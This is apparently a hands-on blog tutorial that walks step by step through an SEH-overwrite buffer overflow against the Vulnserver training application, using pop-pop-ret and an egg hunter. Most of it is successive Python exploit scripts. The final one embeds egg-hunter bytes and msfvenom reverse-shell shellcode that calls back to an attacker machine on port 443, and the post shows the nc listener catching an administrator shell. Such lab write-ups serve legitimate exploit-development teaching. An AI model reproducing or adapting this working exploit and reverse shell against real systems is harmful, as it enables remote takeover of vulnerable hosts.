Exception handling is undoubtedly a vital element within the embodiment of software development. Far are the days of just scraping by with only getting applications to function. Developers need to be implementing graceful exits of programs, in case of any type of error. As the old adage states, “No good deed goes unpunished.” - the same applies to exception handlers. This blog post will give a brief introduction to exception handler exploits, along with how we can leverage a technique known as an egg hunter to smuggle shellcode when there is not enough room on our stack pointer, or any other place we can write uninterrupted.
Exception Handlers: How Do They Work?
Briefly I will hit on how these work (in Windows at least). Let’s get acquainted some acronyms firstly. nSEH stands for next structured exception handler (we will get to why here in a second). SEH (structured exception handler) is the current exception handler. Exception handlers are grouped into two types- operating system and developer implemented handlers.
As we know, an application executed on a machine that utilizes a stack based data structure will give each function/piece of the application its own stack frame to be put onto the stack for execution. The stack frame of each function/piece will eventually be popped of when execution has ceased, and the next procedure is ready to be carried out. The same is true for an exception handler. If there is a function that has an exception handler embedded in itself- that exception handler will also get its own stack frame (when the exception is caught and then passed). Can you forsee a slight issue? Our exception handlers, when the exception is forwarded on, will be pushed onto the stack.
Now, refer to the names of our acronyms above. Notice anything? It looks like you could have a list of exception handlers. If you thought this, then you are correct! The handlers form a data structure known as a linked-list. You can conceptualize a linked-list as a set of data that all point to different things (at a high level). Here just know that the linked-list of elements (exception handlers) point to nSEH, nSEH,…, SEH.
An exception handler need to be able to point to the nSEH (next handler) and SEH (current handler). When an exception is raised- the handler “zeroes out” a majority of the registers (ESI, EAX, ECX, etc. etc.). This, theoretically, should remove any user supplied data that is malicious. While this sounds like a tried and true way to prevent things like a stack based buffer overflow- this nomenclature is not without its flaws.
Using this newfound knowledge, by the end of this article, we will cultivate a method to achieve code execution. Before we move on, take one note of a crucial attribute of nSEH at the time an exception is raised. nSEH will be located at
esp+8. This means the location of ESP, plus 8 bytes, will be where nSEH resides.
Egg Hunters: Woah, Wait- Easter Is Here?
Let me preface this sentiment by saying egg hunters are not making an inference to the Easter Bunny. At a high level, egg hunters are a small piece of shellcode (around 32 bytes in most cases) that will be embedded with what we call as a tag. This same tag will also be appended two times in front of a larger piece of secondary shellcode, like a reverse shell, that is somewhere else in memory where an exploit developer can write to uninterrupted.
The egg hunter will recursively search memory for two instances of its tag and will determine that when the two instances of the tag are located, that this is the piece of opcode you want to execute. After the second stage shellcode is located, a prompt execution of that shellcode will take place. The word that has gained the most notoriety as a tag over the years, is
w00t. Egg hunters are a pretty clever way to circumvent constraints individuals may come across when trying to smuggle shellcode. Here is a well written white paper on Egg Hunters. Let’s move on :)
Down to the Nitty-Gritty
We will be taking crack at the Vulnserver. For reference and continuity, fuzzing the vulnerable command will not be within the scope of this post. Let’s begin.
When starting the application, we notice it starts listening on TCP port
9999. We will take note of this for the future. After starting the server, we connect to it via
nc on port 9999, and execute the command
HELP to view a list of commands we can issue:
After we view the list of commands, we learn there is a vulnerability within the
GMON command. This was found through fuzzing. Fuzzing, at a very high level, means that we threw a bunch of junk characters at the vulnerable command to create a crash. Here is the PoC Python script we are going to execute to see if we can crash the application:
root@kali:~/Desktop# cat CRASH.py #!/usr/bin/python import socket import sys import os #Vulnerable command command = "GMON /.:/" pwn = "A" * 5000 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
The application, which is attached to Immunity Debugger, crashes on the Windows machine where Vulnserver is running. We take note of something interesting. Although the application crashed, EIP was not overwritten with our user supplied data:
We can see clearly EIP is not overwritten. Will this throw us for a loop? Remember that these registers are all apart of the stack. What else do we recall is on the stack? That is right, exception handlers. Immunity (and OllyDbg) allow you to view the SEH chain to see what is happening with the exception handlers. To access this chain, click
View > SEH Chain. Well, what do you know?! Our user supplied data hit nSEH and SEH, and they were corrupted with 41’s in hexadecimal, or A’s (which we sent).
Calculating The Offset
Just like a vanilla instuction pointer overwrite, stack based buffer overflow- we need to find the offset to a particular place in memory where we can control the flow of execution. But without EIP- what can we do? We actually are going to leverage the SEH chain to write to EIP. Bear with me here. Firstly, before we do anything, we need to find the offset to the exception handlers.
Since the SEH chain is a linked list, SEH will reside right next to nSEH. To find the offset, we are going to create a 5000 byte cyclic pattern string, that will help us determine where our handlers are. Here is the command to generate this in Metasploit:
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
Here is our updated PoC script:
We then restart the application in Immunity Debugger, and throw our PoC (proof of concept) at Vulnserver. Again, the application crashes. This time, however, we know that the SEH chain can be overwritten by our supplied data. There is a really neat Python script known as mona that can be ported into Immunity. We will run a mona command that will find any instances of cyclic patterns (like the one we supplied above). The command to issue that in Immunity is:
You will need to issue this command in the white text bar at the bottom of the debugger, near the Windows start button. Here is what mona finds (you can right click on the first image below and open it in a new tab if it is too hard to read). I added a second picture to zoom in on the actual offset value:
We can conclude that is takes 3495 bytes of data to reach our exception handlers. Let’s update our Python script to validate with a sanity check, by filling nSEH with B’s (42 hex) and SEH with C’s (43 hex). Recall- the exception handlers are in a linked-list. This tells you that SEH naturally would be right next to (4 bytes) nSEH. :
root@kali:~/Desktop# cat VALIDATE.py #!/usr/bin/python import socket import sys import os #Vulnerable command command = "GMON /.:/" pwn = "A" * 3495 pwn+= "B" * 4 pwn+= "C" * 4 pwn+= "D" * (5000-len(pwn)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
The above script sends 3495 bytes of data, to reach the location of nSEH. We are going to fill nSEH with 4 B’s (42 hex) and SEH with 4 C’s (43 hex). Remember, we concluded 5000 bytes was the appropriate amount of data to crash the server. We fill the rest of our data with D’s, and take 5000 minus the A’s, B’s, and C’s, to meet this stipulation.
Again, we execute our PoC after restarting the application in Immunity. The crash occurs, we view the SEH chain, and we validate that nSEH is overwritten by B’s (42 hex) and SEH is overwritten by C’s (43 hex).
The Importance of Pop Pop Ret
Awesome! We can control what gets stored in the SEH chain. You may be asking yourself, “How are we going to leverage this information?” Remember when I talked about the location of nSEH when an exception occurs? The value is
esp+8. This is where that tidbit of information comes in handy. Let’s take a step back and remember how assembler commands work for a second.
pop instruction will move whatever is on top of the stack (the stack pointer) into the register that comes after the
pop command. An example is, if ESP contains the value 0012FFFF, and a
pop ecx instruction is commenced, ECX will be filled with the data of ESP. ECX will now contain 0012FFFF. The stack (for our purposes here) grows downward to lower memory addresses. When a
pop instruction is executed, the value of the current stack pointer (ESP) INCREASES by 4 bytes. A
ret, or return, instruction will load the current value of the stack pointer into the instruction pointer (EIP).
If we fill SEH with a
pop <register> pop <register> ret chain we can move our current stack pointer (ESP) 8 bytes upward in memory (4 bytes for each
pop instruction). If nSEH is located at the current ESP value plus 8 bytes, a
pop pop sequence will take our current stack pointer and fill it with nSEH’s value (which is
esp+8). The last
ret instruction, as explained above, will take our ESP (which now contains our nSEH value) and place it into EIP. Henceforth, we can control what gets loaded into the instruction pointer (EIP)!
We don’t actually mind that registers will be manipulated from our
pop pop ret chain- we only care that ESP increases when a
pop instruction is executed. Mona has a nice feature to search for
pop pop ret chain. Here is the command used in Immunity:
!mona seh(Again, I know it is hard to see, so i zoomed in on the addresses in the second image):
We need to obtain a memory address where a
pop <register> pop <register> ret chain occurs. We also need to make sure the .DLL or .exe where this chain resides, was not compiled with ASLR or SafeSEH. It looks like we can use the last address in the above image, mentioned at:
0x625011b3. Remember that Intel uses little endian format, which stores data with the least significant byte first. This will flip our address from
62 50 11 b3 to
b3 11 50 62. Let’s update our PoC once again:
root@kali:~/Desktop# cat POPPOPRET.py #!/usr/bin/python import socket import sys import os #Vulnerable command command = "GMON /.:/" pwn = "A" * 3495 pwn+= "B" * 4 pwn+= "\xb3\x11\x50\x62" pwn+= "D" * (5000-3495-4-4) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
We restart our application in Immunity once again, and then we send our updated PoC. The application crashes, and we view the SEH chain. This time, we see a memory address has been loaded into SEH. We are going to set a breakpoint on this address. The breakpoint will pause execution of the program when the program reaches the instruction to which the breakpoint is set. To do this, we do one left-click on
essfunc.625011b3 and press
F2 for the breakpoint, we then need to pass the exception to the application, to get our
pop pop ret chain on the stack for execution. To do this press,
Shift + F9:
Excellent. Now, we will execute the
pop eax, pop eax, ret chain, one instruction at a time, by stepping through them. Press
F7 to step through once to the second
pop instruction, and then again to get to the
ret instruction. Press
F7 one more time to execute
ret, and you will notice that the program redirects us to the following place:
Notice where we are!!!! Look at the 3 values below our current instruction, in the above image! You will see 3 B’s (42 hex), along with the current B (42 hex). We have landed in nSEH! More importantly, both of these values are on the stack if you look at the stack dump, shown below:
00C0FFDC is the “Pointer to next SEH record”, which is nSEH. That address, as shown in image after we stepped through the
pop pop ret chain, is the address of where our B’s (42 hex) start. Awesome! Now what could we do from here? We could do a typical jump to ESP to execute shellcode! But we have a slight issue. ESP now only has the capacity to hold less than 30 bytes:
Take the Jump!
This minute amount of space is not even enough for our egg hunter to go, much less opcode for a shell! What can we do? Well, one thing we are going to have to do is some math! A technique we can (and will) use, is to make a jump backwards into our “A” (41 hex) buffer, and store our egg hunter there. As you may or may not know, there are no actual negative numbers in hex. We can, however, use something known as the two’s compliment to obtain a hex value that we can push onto the stack to make a backwards jump.
We need 32 bytes for our egg hunter, so let’s jump 40 bytes backwards. I am not going to get into the low level math of the two’s compliment (although it is not too difficult, and that is coming from someone who is subpar on a good day at arithmetic). Here is a Two’s Compliment Calculator. Remember, the two’s compliment is just a way to represent a negative number in hex.
The two’s compliment of -40 in binary is
1101 1000. Converting this value to hex gives us
D8. The opcode for a short jump is
EB. We can use an instruction of
EB D8 to jump us back 40 bytes, in order to store our egg hunter! Let’s update our PoC to reflect this and validate. (Remember that we are filling nSEH with the our jump instruction.):
#!/usr/bin/python import socket import sys import os #Vulnerable command command = "GMON /.:/" pwn = "A" * 3495 pwn+= "\xeb\xd8\x90\x90" pwn+= "\xb3\x11\x50\x62" pwn+= "D" * (5000-3495-4-4) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
Before we execute, take note of the
\x90 instructions, next to the jump opcode. These two added instructions are called no operations. “NOPS”, as they are commonly characterised, are instructions that literally do not do anything (hence the name). The opcode is first recognized by the CPU. The CPU then disregards the NOP, and reads the next sequential instruction to be executed. We are using two “NOPs” here as place holders, because registers need four bytes loaded in them- and our jump opcode only provided two. Carrying on…
We restart the application in Immunity and we throw our PoC at it. Our Vulnserver application crashes, and we view the SEH chain. We set a breakpoint on SEH, as shown previously, and use
Shift + F9 to pass the exception to the application. We then step through our
pop pop ret chain, and we land on our jump!!:
We step though the jump withh
F7 and we land back in our A’s:
Let’s Go Huntin’, Boys!
Now it is time to generate our egg hunter. We will do this with mona. This is the command I issued:
!mona egg -t w00t:
We now are going to update our PoC with the egg hunter, and I will explain the changes after I show them. Here is the new PoC:
root@kali:~/Desktop# cat EGGSY.py #!/usr/bin/python import socket import sys import os #Vulnerable command command = "GMON /.:/" #Egg hunta = w00t 32 bytes egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") pwn = "A" * 3457 pwn+= egghunter pwn+= "\x90\x90\x90\x90\x90\x90" pwn+= "\xeb\xd8\x90\x90" pwn+= "\xb3\x11\x50\x62" pwn+= "D" * (5000-3495-4-4) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
Some questions you may have are probably: “Why did your initial
A value go from
3457?” and “Why do you have six no operation instructions?” I will explain. So remember when we implemented the short jump backwards 40 bytes? We had to integrate two no operation instructions, because we only had two bytes to execute our jump (
D8). Those no operations can be omitted from our brains for the following calculations.
We take our original offset of
3495 and we add two bytes (for our
EB D8 instruction). We now have a value of
3497. Then, we went backwards 40 bytes. We now need to subtract that value.
3497 - 40 gives us
3457. That is the offset to our egg hunter. There is a slight issue present now. We can reach our offset to the egg hunter- but there is still a gap between where our egg hunter resides in memory, and where our exception handlers are. If we add 32 bytes (the size of our egg hunter) to our current
3457 (where our egg hunter is located), we get
3489. Thus, we are still six bytes short of our
3495 byte offset to nSEH and SEH. If we cannot reach nSEH or SEH- we cannot commence our execution of the SEH chain. Bearing this in mind, we must add these six bytes in before we can use our exception handlers to execute instructions on the stack. To compensate for this, we add those six bytes back in the form of a NOP Sled. This will give us a bit more reliability in our exploit, instead of just using A’s.
We then restart our application in Immunity, and chuck our PoC at the application. Business as usual- application crashes, open the SEH chain, put a breakpoint on SEH.
Shift + F9 to pass our exception to the program, step through our
pop pop ret chain. We land at our jump. Step through the jump and voila! We have landed on our egg hunter:
Country Roads, Take Me Home
We now update our PoC into a weaponzied exploit. This exploit will return a shell over TCP port 443 to our machine. Here is what the exploit looks like, and I will explain what is happening:
root@kali:~/Desktop# cat EXPLOIT.py import socket import sys import os #Vulnerable command command = "GMON /.:/" #Egg hunta = w00t 32 bytes egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") #Shellcode generation = msfvenom -p windows/shell_reverse_tcp LHOST=172.16.55.69 LPORT=443 EXITFUNC=thread -b "\x00" -f c shellcode=("\xb8\xcb\x5d\xb0\x5d\xdb\xd0\xd9\x74\x24\xf4\x5b\x31\xc9\xb1" "\x52\x31\x43\x12\x83\xc3\x04\x03\x88\x53\x52\xa8\xf2\x84\x10" "\x53\x0a\x55\x75\xdd\xef\x64\xb5\xb9\x64\xd6\x05\xc9\x28\xdb" "\xee\x9f\xd8\x68\x82\x37\xef\xd9\x29\x6e\xde\xda\x02\x52\x41" "\x59\x59\x87\xa1\x60\x92\xda\xa0\xa5\xcf\x17\xf0\x7e\x9b\x8a" "\xe4\x0b\xd1\x16\x8f\x40\xf7\x1e\x6c\x10\xf6\x0f\x23\x2a\xa1" "\x8f\xc2\xff\xd9\x99\xdc\x1c\xe7\x50\x57\xd6\x93\x62\xb1\x26" "\x5b\xc8\xfc\x86\xae\x10\x39\x20\x51\x67\x33\x52\xec\x70\x80" "\x28\x2a\xf4\x12\x8a\xb9\xae\xfe\x2a\x6d\x28\x75\x20\xda\x3e" "\xd1\x25\xdd\x93\x6a\x51\x56\x12\xbc\xd3\x2c\x31\x18\xbf\xf7" "\x58\x39\x65\x59\x64\x59\xc6\x06\xc0\x12\xeb\x53\x79\x79\x64" "\x97\xb0\x81\x74\xbf\xc3\xf2\x46\x60\x78\x9c\xea\xe9\xa6\x5b" "\x0c\xc0\x1f\xf3\xf3\xeb\x5f\xda\x37\xbf\x0f\x74\x91\xc0\xdb" "\x84\x1e\x15\x4b\xd4\xb0\xc6\x2c\x84\x70\xb7\xc4\xce\x7e\xe8" "\xf5\xf1\x54\x81\x9c\x08\x3f\x02\x70\x25\xfa\x32\x73\x49\x05" "\x78\xfa\xaf\x6f\x6e\xab\x78\x18\x17\xf6\xf2\xb9\xd8\x2c\x7f" "\xf9\x53\xc3\x80\xb4\x93\xae\x92\x21\x54\xe5\xc8\xe4\x6b\xd3" "\x64\x6a\xf9\xb8\x74\xe5\xe2\x16\x23\xa2\xd5\x6e\xa1\x5e\x4f" "\xd9\xd7\xa2\x09\x22\x53\x79\xea\xad\x5a\x0c\x56\x8a\x4c\xc8" "\x57\x96\x38\x84\x01\x40\x96\x62\xf8\x22\x40\x3d\x57\xed\x04" "\xb8\x9b\x2e\x52\xc5\xf1\xd8\xba\x74\xac\x9c\xc5\xb9\x38\x29" "\xbe\xa7\xd8\xd6\x15\x6c\xf8\x34\xbf\x99\x91\xe0\x2a\x20\xfc" "\x12\x81\x67\xf9\x90\x23\x18\xfe\x89\x46\x1d\xba\x0d\xbb\x6f" "\xd3\xfb\xbb\xdc\xd4\x29") pwn = "w00tw00t" pwn+= shellcode pwn+= "A" * (3457-len(pwn)) pwn+= egghunter pwn+= "\x90\x90\x90\x90\x90\x90" pwn+= "\xeb\xd8\x90\x90" pwn+= "\xb3\x11\x50\x62" pwn+= "D" * (5000-len(pwn)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.16.55.134", 9999)) s.send(command+pwn) s.recv(1024) s.close()
Remember when we spoke about egg hunters earlier? A few things were mentioned. 1- The egg hunter looks for two occurrences of its tag in order to validate that the opcode directly after the tags should be executed. 2 - We have
w00tw00t appended to the beginning our second stage shellcode. Everything else stays the same- and we are ready to fire off our exploit!
Before we do anything this time, on our attacking machine, we need to start a
nc listener to catch our shell when it is sent. Here is how we start our listener:
root@kali:~/Desktop# nc -nlvp 443 listening on [any] 443 ...
We close out of the debugger, and we drop kick our exploit like freaking Tim Howard at the Vulnserver. That egg hunter works hard for us, and BOOM! We are in there like swimwear!!!!! We have obtained a shell:
root@kali:~/Desktop# nc -nlvp 443 listening on [any] 443 ... connect to [172.16.55.69] from (UNKNOWN) [172.16.55.134] 1239 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop\vulnserver-master\vulnserver-master>
Mouth Of The River
There is an ocean of resources out there about exploit development. The above post was just to shed some light on buiding on the fundementals of a simple vanilla stack based buffer overflow. There are copious amounts of blogs on simple overflows, but the more low level you go- the less there is (and the move convoluted the writeups get). I will probably be documenting more exploit development topics as I go forward.
I just wanted to share information with others today in a way that I think is easy to understand. I remember the exact chronological order I had to endure to in order to understand things like why a
pop pop ret chain is needed with exception handler exploitation. I hope by sharing what I have learned in my own words, I can relay those phrases or analogies that led me to have my “AHA!” moments, with all of you! Peace, love, and positivity! Have a great day :-)